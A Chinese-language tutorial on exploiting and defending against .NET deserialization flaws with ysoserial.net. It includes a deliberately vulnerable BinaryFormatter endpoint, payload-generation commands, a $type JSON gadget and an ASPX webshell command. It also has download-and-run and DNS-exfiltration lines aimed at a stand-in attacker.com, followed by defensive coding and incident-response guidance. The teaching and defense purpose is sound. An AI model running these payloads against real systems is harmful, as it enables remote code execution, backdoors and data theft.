1. 项目概述：为什么我们需要深入理解ysoserial.net？

如果你是一名.NET开发者，或者负责企业应用安全，那么“反序列化漏洞”这个词对你来说一定不陌生。它就像一个潜伏在代码深处的幽灵，平时悄无声息，一旦被触发，就可能让攻击者获得服务器的完全控制权。而ysoserial.net，正是这个幽灵最趁手的“武器库”。这个工具将.NET反序列化漏洞的利用方式，从复杂的理论变成了可以一键执行的“武器化”载荷。

我见过太多团队，他们的安全策略还停留在“打补丁”和“用WAF”的层面，对于像反序列化这种逻辑层面的漏洞，往往知其然不知其所以然。结果就是，一个看似无害的、接收XML或JSON格式数据的API端点，就可能成为整个内网的突破口。这篇文章，我不想只给你一个“禁止使用BinaryFormatter”的简单答案。我想带你从攻击者的视角出发，亲手拆解ysoserial.net的利用链，理解它每一步是如何工作的。只有这样，你才能真正明白防御的要点应该落在哪里，才能在你的代码评审和架构设计中，建立起一道坚实的逻辑防线。

我们将从最基础的序列化概念讲起，一步步深入到ysoserial.net如何利用ObjectDataProvider、PSObject这些看似人畜无害的.NET组件来执行命令，并最终落地到如何通过代码设计、配置和运行时防护来系统性化解这个风险。无论你是想提升自己的安全攻防能力，还是想加固你的产品，这篇指南都会提供一条清晰的路径。

2. 核心原理拆解：.NET反序列化漏洞的“燃料”与“引擎”

要防御攻击，首先得成为攻击者。理解ysoserial.net的原理，是构建有效防御的基石。它的核心原理，可以概括为“利用.NET序列化机制的特性，在反序列化过程中触发非预期的代码执行”。

2.1 序列化与反序列化：数据的“打包”与“拆包”

在.NET中，序列化是将对象的状态信息转换为可以存储或传输的形式（如字节流、XML、JSON）的过程。反序列化则是其逆过程，将存储格式还原为内存中的对象。常见的序列化器有：

• BinaryFormatter：.NET Framework时代的“元老”，功能强大但极不安全。
• SoapFormatter：用于SOAP Web服务，同样存在风险。
• DataContractSerializer/XmlSerializer：相对安全，但并非绝对。
• Newtonsoft.Json/System.Text.Json：现代的JSON序列化器，默认行为安全，但配置不当也会引入风险。

漏洞的根源在于，像BinaryFormatter这样的序列化器，在反序列化时，会忠实地根据序列化流中的数据，重建整个对象图，包括对象的字段、属性，并且会调用对象的构造函数、属性的setter等。攻击者正是利用了这种“忠实重建”的特性。

2.2 攻击链的构造：Gadget Chains（利用链）

ysoserial.net的强大之处在于它预置了数十条“利用链”（Gadget Chain）。一条利用链通常由多个“小工具”（Gadget）串联而成，每个小工具都是一个可序列化的类，它们像多米诺骨牌一样，在反序列化过程中被依次触发，最终达到执行任意代码的目的。

一个经典的简化版利用链逻辑如下：

1. 起点（Sink）：一个在反序列化时会自动执行某些危险操作的类。例如，某些UI控件在反序列化时会自动调用其事件处理方法。
2. 桥梁（Bridge）：一系列可以连接起点和最终payload的类。它们通常通过属性赋值、集合操作等方式，将攻击者控制的数据“传递”下去。
3. 载荷（Payload）：最终要执行的恶意代码，例如执行系统命令。在ysoserial.net中，这通常通过ObjectDataProvider或PSObject等类来包装一个Process.Start调用。

以最著名的ObjectDataProvider链为例：

• ObjectDataProvider是一个用于数据绑定的WPF类，它可以在XAML中声明对象并调用其方法。
• 当它被反序列化时，为了准备数据源，它会尝试调用其MethodName属性指定的方法。
• 攻击者可以设置ObjectInstance为一个System.Diagnostics.Process对象，并将MethodName设置为Start，同时在MethodParameters中传入要执行的命令（如calc.exe）。
• 这样，当这个ObjectDataProvider被反序列化时，Process.Start(“calc.exe”)就会被自动调用，计算器程序就被弹出了。

注意：实际的利用链远比这个例子复杂，会涉及TypeConfuseDelegate、TextFormattingRunProperties等多个小工具的巧妙组合，以绕过各种限制和触发执行。ysoserial.net的价值就在于它把这些复杂的组合都封装成了简单的生成命令。

2.3 关键危险类与特性

了解哪些是“危险品”至关重要：

• BinaryFormatter：头号危险品。除非在完全可控的内部环境中，否则绝对不要使用它来反序列化来自网络或不可信源的任何数据。
• ObjectDataProvider，PSObject：这些是常见的payload载体。在代码中如果看到它们从不可信源反序列化而来，应立即拉响警报。
• 实现了ISerializable接口的类：这些类自定义了序列化行为，如果其GetObjectData方法或特殊构造函数（SerializationInfo,StreamingContext）的实现有缺陷，也可能成为入口点。
• [OnDeserialized],[OnDeserializing]回调特性：标记了这些特性的方法会在反序列化过程中被自动调用，如果这些方法内部包含危险逻辑，就可能被利用。

理解这些原理后，我们就能明白，防御的关键不在于识别某一个恶意字节流，而在于从根本上杜绝不可信数据触发这些危险的反序列化逻辑。

3. 实战环境搭建与漏洞复现

“纸上得来终觉浅，绝知此事要躬行。”在安全的可控环境中亲手复现漏洞，是理解它的最佳方式。这里我将演示一个经典的ASP.NET WebForms或MVC应用中使用BinaryFormatter导致RCE（远程代码执行）的场景。

3.1 搭建一个脆弱的演示应用

首先，我们创建一个简单的ASP.NET Web Application (.NET Framework 4.7.2为例)。

1. 创建一个接收数据的接口： 在Controllers文件夹下创建一个ApiController（如果是WebForms，则创建一个HttpHandler）。

   using System.IO; using System.Runtime.Serialization.Formatters.Binary; using System.Web.Mvc; namespace VulnerableApp.Controllers { public class DeserializeController : Controller { [HttpPost] public ActionResult Index() { // 危险操作：直接反序列化请求体 BinaryFormatter formatter = new BinaryFormatter(); using (var ms = new MemoryStream()) { Request.InputStream.CopyTo(ms); ms.Position = 0; // 这里是漏洞点！ object deserializedObject = formatter.Deserialize(ms); } return Content("Deserialized (maybe hacked)"); } } }

   这段代码的关键问题在于，它毫无戒备地使用BinaryFormatter.Deserialize()来处理用户直接传来的二进制数据。

2. 编译并运行应用：确保你的开发环境（如IIS Express）可以运行此应用，并记住访问的端口，例如http://localhost:12345。

3.2 使用ysoserial.net生成攻击载荷

接下来，我们切换到攻击者视角。

1. 获取ysoserial.net：从GitHub官方仓库发布页下载编译好的ysoserial.exe。

2. 生成Payload：我们使用ObjectDataProvider链来生成一个执行calc.exe的Payload。打开命令行，进入ysoserial.exe所在目录。

   ysoserial.exe -f BinaryFormatter -g ObjectDataProvider -c "calc.exe" -o raw

   • -f BinaryFormatter：指定生成针对BinaryFormatter的Payload。
   • -g ObjectDataProvider：指定使用ObjectDataProvider利用链。
   • -c "calc.exe"：指定要执行的命令。
   • -o raw：输出原始的二进制字节。

   这条命令会向标准输出打印一串Base64编码的字符串。这就是我们的“炮弹”。

3. 转换Payload：我们需要将Base64字符串转换回原始二进制数据。可以写一个简单的C#程序，或者使用PowerShell：

   [System.Convert]::FromBase64String("这里粘贴ysoserial生成的Base64字符串") | Set-Content -Path payload.bin -Encoding Byte

   现在你得到了一个payload.bin文件。

3.3 发起攻击并观察结果

现在，我们向那个脆弱的应用端点发送这个Payload。

1. 使用curl或Postman发送POST请求：

   curl -X POST http://localhost:12345/Deserialize/Index --data-binary @payload.bin -H "Content-Type: application/octet-stream"

2. 观察结果：如果应用运行在具有图形界面的服务器上（比如你的开发机），并且进程身份有权限，你应该会看到计算器程序（calc.exe）被弹出。这证明了远程代码执行成功。

实操心得：在复现时，务必在虚拟机或隔离的测试环境中进行。生成Payload的命令可以非常危险，例如-c “powershell -enc ...”可以执行经过Base64编码的PowerShell脚本，从而下载并运行远控木马。永远不要在生产环境或联网的主机上尝试生成或发送这类Payload。

这个复现过程清晰地展示了漏洞的威力：攻击者无需认证，只需向一个特定的API发送一个精心构造的HTTP POST请求，就能在服务器上以Web应用程序池的身份执行任意命令。接下来，我们将深入看看ysoserial.net这个工具本身还有哪些“花样”。

4. ysoserial.net工具深度解析与利用链剖析

ysoserial.net不仅仅是一个生成Payload的工具，它更是一个展示.NET反序列化漏洞复杂性的“教科书”。掌握它的用法和原理，能让你在代码审计时更有针对性。

4.1 核心命令与参数详解

运行ysoserial.exe -h可以查看完整帮助。几个最关键的参数：

• -f <formatter>：指定目标序列化格式化程序。这是最重要的参数之一，决定了Payload的构造方式。
  • BinaryFormatter：最通用，利用链最丰富。
  • SoapFormatter：用于攻击使用SOAP格式的端点。
  • NetDataContractSerializer：WCF中可能用到。
  • JavaScriptSerializer：针对ASP.NET中的JavaScriptSerializer.Deserialize方法（虽然不直接是ysoserial的-f选项，但有其特定利用链）。
• -g <gadget chain>：指定利用链。不同的链适用于不同环境或有着不同的依赖。
  • ObjectDataProvider：经典链，依赖WPF的PresentationFramework库。如果目标应用是Web应用且未引用WPF，此链可能失效。
  • PSObject：利用System.Management.Automation中的PSObject，在安装了PowerShell或相关依赖的环境下有效。
  • TypeConfuseDelegate：一个非常精巧的链，利用委托和哈希表在反序列化时的交互触发代码执行，不依赖外部库，通用性极强。
  • WindowsIdentity：利用System.Security.Principal.WindowsIdentity，常用于在反序列化时生成一个恶意的Kerberos令牌，可能用于权限提升或横向移动。
• -c <command>：指定要执行的系统命令。如calc.exe、whoami或powershell -c “…”。
• -o <output format>：指定输出格式。
  • raw：原始二进制，适合直接POST。
  • base64：Base64编码，方便在JSON或XML中作为字符串传递（如果后端会解码）。
  • soap：生成完整的SOAP信封。
• -t：测试模式。生成Payload并立即在本地反序列化，用于验证链在当前环境是否有效，非常有用。

4.2 典型利用链场景分析

了解在什么情况下该用什么链，是实战的关键。

• 场景一：攻击未知的二进制端点当你面对一个接受二进制流的API时，首先尝试-f BinaryFormatter -g TypeConfuseDelegate。因为TypeConfuseDelegate链不依赖特定程序集，通用性最高。如果失败，再尝试ObjectDataProvider或PSObject。

• 场景二：攻击SOAP Web服务如果目标服务使用SOAP，则使用-f SoapFormatter。你需要将生成的SOAP XML作为消息体发送。注意检查SOAP的Action头等是否正确。

• 场景三：命令执行被拦截如果简单的calc.exe命令被终端安全软件拦截，你需要对命令进行混淆或编码。

  1. PowerShell编码：这是最常用的方式。

     $command = "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) echo $encodedCommand

     然后使用-c “powershell -enc <Base64String>”。
  2. 使用certutil等自带工具下载：-c “certutil -urlcache -split -f http://attacker.com/evil.exe C:\Windows\Temp\evil.exe && C:\Windows\Temp\evil.exe”。

• 场景四：无回显命令执行（盲注）很多RCE场景下，你看不到命令输出。这时需要能判断命令是否执行。

  1. 延时判断：使用ping -n 10 127.0.0.1或timeout /t 10制造延迟，通过观察请求响应时间来判断。
  2. DNS外带：使用nslookup或ping将执行结果带到DNS查询中。例如，执行set /p var=<command_to_run> && nslookup %var%.attacker.com，然后在你的DNS服务器上查看日志。
  3. HTTP外带：使用curl或PowerShell的Invoke-WebRequest将结果发送到你的服务器。

注意事项：ysoserial.net生成的Payload具有极强的目标环境依赖性。在A机器上生成的针对BinaryFormatter的Payload，在B机器上可能因为程序集版本、GAC中程序集是否存在、应用程序信任级别（如Medium Trust）等因素而失效。因此，信息收集至关重要，要尽量了解目标服务器的.NET版本、已安装的程序集等信息。

5. 高级利用技巧与绕过手段

随着防御措施的提升，简单的利用可能会失效。攻击者也在不断进化他们的技术。

5.1 绕过受限的Type与程序集加载

在一些安全配置下（如ASP.NET的Medium Trust或自定义的SerializationBinder），反序列化过程可能会限制可以加载的类型。

• 利用已知的、允许的类型：仔细研究目标应用引用的程序集，寻找那些既在允许列表内，又可以被串联进利用链的类。ysoserial.net的-g选项列表就是一份很好的参考，你需要根据目标环境筛选可用的链。
• 包装与反射：最终的恶意代码执行（如Process.Start）通常是通过反射调用的。如果直接的类型被禁止，可以尝试将命令字符串隐藏在复杂的对象属性中，通过多次反射调用来间接执行。这需要更精细地定制Payload。

5.2 针对其他序列化器的攻击

BinaryFormatter臭名昭著，越来越多的项目会弃用它。但其他序列化器也并非绝对安全。

• DataContractSerializer/XmlSerializer：它们默认只反序列化数据，不执行代码。但危险在于：
  • XML外部实体注入（XXE）：如果反序列化的XML允许DTD，就可能存在XXE漏洞，导致文件读取或SSRF。
  • 重放攻击与数据篡改：虽然不能直接执行代码，但篡改反序列化后的数据可能改变业务逻辑（例如，将订单金额改为0，将用户角色改为管理员）。这属于业务逻辑漏洞的范畴。
• JavaScriptSerializer与Newtonsoft.Json：
  • JavaScriptSerializer：在特定条件下（如使用了SimpleTypeResolver），它可能允许实例化任意类型，尽管直接RCE较难，但可能导致类型混淆等安全问题。
  • Newtonsoft.Json：其默认设置是安全的。最大的风险来自于不当的TypeNameHandling配置。如果设置了TypeNameHandling.All或TypeNameHandling.Auto，并且反序列化了不可信的JSON数据，攻击者就可以在JSON中指定$type属性，让序列化器实例化任意类型，从而可能触发利用链。

    { "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework", "MethodName": "Start", "ObjectInstance": { "$type": "System.Diagnostics.Process, System", "StartInfo": { "$type": "System.Diagnostics.ProcessStartInfo, System", "FileName": "cmd.exe", "Arguments": "/c calc.exe" } } }

    如果使用JsonConvert.DeserializeObject(jsonString, settings)且settings.TypeNameHandling = TypeNameHandling.All，上述JSON就会触发命令执行。

5.3 内存马与持久化

对于攻击者而言，一次性的命令执行可能不够。他们追求的是持久化的控制。

1. 生成Web Shell：通过RCE在Web目录写入一个ASPX或JSP文件，内容是一句话木马，从而获得一个持久的Web后门。

   ysoserial.exe -f BinaryFormatter -g ObjectDataProvider -c "echo ^<%@ Page Language=\"C#\"%^>^<%System.IO.File.WriteAllText(Request[\"f\"], Request[\"c\"]);%^> > C:\inetpub\wwwroot\cmd.aspx" -o raw

   （注意：命令中的特殊字符需要根据目标环境进行转义，这是一个概念示例）

2. 安装服务或计划任务：通过RCE创建Windows服务或计划任务，实现开机自启或定时连接。

3. 进程注入与令牌窃取：更高级的攻击者会尝试将恶意代码注入到像w3wp.exe（IIS工作进程）这样的常驻进程中，或者窃取其他用户的令牌进行横向移动。这些通常需要更复杂的Payload，可能结合C#编写的恶意DLL或Shellcode。

了解这些高级技巧，不是为了让你去攻击别人，而是让你意识到漏洞被利用后的潜在危害有多大，从而更坚定地做好防御。

6. 系统性防御策略：从代码到运维的纵深防御

防御反序列化漏洞，绝不能只靠一招。我们需要建立一个从开发到部署的纵深防御体系。

6.1 代码层防御：最佳实践与安全编码

这是最根本、最有效的一层。

1. 首要原则：弃用不安全的序列化器

   • 立即停止使用BinaryFormatter和SoapFormatter处理任何来自网络、用户输入或不可信源的序列化数据。这是.NET官方和安全社区的强烈建议。如果因为遗留代码必须使用，请将其限制在绝对可信的内部通信环境中。

2. 使用安全的替代方案

   • 对于数据交换：优先使用System.Text.Json（.NET Core 3.0+）或Newtonsoft.Json（需正确配置）。它们默认是安全的。
   • 对于远程过程调用（RPC）：考虑使用gRPC、MessagePack（需使用安全配置）或基于HTTP+JSON的Web API。
   • 对于进程间通信：可以使用MemoryMappedFile共享原始字节，或使用PipeStream传递JSON/Protobuf格式的消息。

3. 安全配置JSON序列化器

   • Newtonsoft.Json：永远不要对不可信数据使用TypeNameHandling.All、TypeNameHandling.Objects或TypeNameHandling.Auto。如果业务必须使用类型信息，请使用自定义的SerializationBinder进行严格的白名单控制。

     var settings = new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Objects, SerializationBinder = new MySafeBinder() // 自定义Binder，只允许特定类型 };

   • System.Text.Json：默认就是安全的，因为它不支持多态反序列化（即通过$type指定类型）。如果需要此功能，必须非常谨慎地实现自定义转换器。

4. 实现自定义 SerializationBinder如果因历史原因无法弃用BinaryFormatter，最后的防线是实现一个严格的SerializationBinder。

   public class RestrictedBinder : SerializationBinder { public override Type BindToType(string assemblyName, string typeName) { // 定义明确的白名单，只允许反序列化业务需要的安全类型 var allowedTypes = new Dictionary<string, Type> { { "MySafeApp.Models.Order, MySafeApp", typeof(Order) }, { "MySafeApp.Models.Product, MySafeApp", typeof(Product) }, // ... 仅添加必要的类型 }; string fullName = $"{typeName}, {assemblyName}"; if (allowedTypes.TryGetValue(fullName, out Type allowedType)) { return allowedType; } throw new SerializationException($"Type {fullName} is not allowed for deserialization."); } } // 使用方式 var formatter = new BinaryFormatter { Binder = new RestrictedBinder() };

   这个白名单必须极其严格，只包含业务逻辑必需的数据传输对象（DTO），排除所有可能用于攻击的框架类型（如ObjectDataProvider、PSObject等）。

6.2 应用与架构层加固

在代码之外，架构设计也能提供有效防护。

1. 输入验证与数据净化

   • 在反序列化之前，对输入数据进行严格的格式和长度验证。例如，如果是Base64编码的数据，先验证其是否为合法的Base64字符串。
   • 考虑在API网关或负载均衡层对请求大小进行限制，防止过大的序列化数据攻击。

2. 运行在最小权限原则下

   • 运行Web应用程序的账户（如IIS应用程序池账户）应遵循最小权限原则。不要使用LocalSystem或Administrator等高权限账户。这样即使被攻破，攻击者能造成的破坏也有限。
   • 通过组策略限制该账户对系统关键目录的写入权限、执行陌生程序的权限等。

3. 使用应用程序白名单

   • 在服务器上部署应用程序白名单解决方案（如Windows Defender Application Control, WDAC），只允许运行经过签名的、可信的应用程序。这可以阻止攻击者通过反序列化漏洞下载并执行任意可执行文件。

6.3 运行时检测与响应

即使预防措施到位，也需要有发现入侵的能力。

1. 日志记录与监控

   • 确保应用程序记录了所有反序列化操作的日志，包括操作来源（IP、用户）、目标类型和结果（成功/失败）。对反序列化失败（尤其是因SerializationBinder拒绝导致的异常）进行告警。
   • 在服务器层面，监控w3wp.exe进程是否启动了异常的子进程（如cmd.exe、powershell.exe、rundll32.exe）。

2. 使用运行时应用自我保护（RASP）

   • 考虑在应用中集成或旁路部署RASP解决方案。RASP可以Hook关键函数（如Process.Start、Assembly.Load），在运行时检测并阻断由反序列化等漏洞触发的恶意行为。

3. 定期依赖项扫描与漏洞评估

   • 使用软件成分分析（SCA）工具定期扫描项目依赖，确保没有引入已知包含不安全反序列化代码的第三方库。
   • 定期对应用程序进行安全渗透测试和代码审计，主动寻找潜在的漏洞。

7. 应急响应与漏洞排查实战指南

假设你收到告警或怀疑系统存在反序列化漏洞，应该如何快速响应和排查？

7.1 漏洞发现与确认

1. 检查代码库：全局搜索以下高风险关键词：
   • new BinaryFormatter()
   • new SoapFormatter()
   • JavaScriptSerializer（检查是否使用了SimpleTypeResolver）
   • JsonConvert.DeserializeObject（检查JsonSerializerSettings中的TypeNameHandling）
   • DataContractSerializer/XmlSerializer（检查是否启用DtdProcessing等不安全配置）
   • [OnDeserialized]/[OnDeserializing]特性
2. 审查网络端点：检查所有接受application/json、application/xml、application/octet-stream等内容的API、Web Service端点或通用的文件上传/处理接口。
3. 日志分析：搜索应用程序日志中与反序列化相关的异常，特别是SerializationException、InvalidCastException或来自自定义SerializationBinder的拒绝信息。频繁的、来源集中的反序列化错误可能是攻击探测的迹象。

7.2 临时缓解措施

一旦发现漏洞，在彻底修复前，应立即采取临时措施：

1. WAF规则：如果使用了Web应用防火墙，可以紧急添加规则，拦截包含典型攻击特征的请求。
   • 拦截请求体中包含ObjectDataProvider、PSObject、TypeConfuseDelegate等类名的请求（针对JSON/XML）。
   • 拦截Content-Type为application/octet-stream但指向可疑端点的请求。
   • 注意：这种方法很容易被绕过（如编码、混淆），只能作为临时手段。
2. 端点禁用：如果可能，直接禁用存在漏洞的API端点或功能模块，直到修复完成。
3. 流量监控与隔离：对可疑来源的IP进行临时流量限制或隔离，并加强该服务器的监控。

7.3 根因分析与修复

1. 定位漏洞点：通过日志、代码审查和流量分析，准确定位到存在漏洞的代码文件和方法。
2. 评估利用条件：分析漏洞是否已被利用。检查服务器上是否有异常进程、计划任务、服务、文件（特别是Web目录下的新增aspx/jsp文件）、网络连接（如到未知外网的连接）。
3. 制定修复方案：
   • 方案A（推荐）：将不安全的序列化器（BinaryFormatter）替换为安全的替代品（如System.Text.Json）。
   • 方案B（如果无法立即替换）：实现并部署严格的白名单SerializationBinder（如上文所述）。
   • 方案C（针对其他序列化器）：修正不安全的配置，如将TypeNameHandling设置为None，禁用XML DTD处理。
4. 测试与上线：修复后，必须进行充分的测试，包括功能测试和安全测试（可尝试使用ysoserial.net生成Payload进行验证性攻击，确认漏洞已修复）。然后按照流程将修复部署到生产环境。

7.4 事件复盘与加固

事后，必须进行复盘：

• 根本原因：为什么会出现不安全的代码？是开发人员安全意识不足，还是缺乏代码安全规范？抑或第三方库引入？
• 流程改进：如何在开发流程中加入安全卡点？例如，在代码评审清单中加入“反序列化安全”检查项；在CI/CD流水线中加入SAST（静态应用安全测试）工具扫描。
• 能力提升：对开发团队进行针对性的安全培训，确保每个人都理解反序列化漏洞的原理和危害。

反序列化漏洞的防御是一场持久战。攻击工具在进化，我们的防御体系也需要不断迭代。核心思想始终是：不要信任任何来自外部的序列化数据，并对反序列化过程施加最严格的控制。将安全理念内化到开发文化和架构设计中，才能从根本上降低此类风险。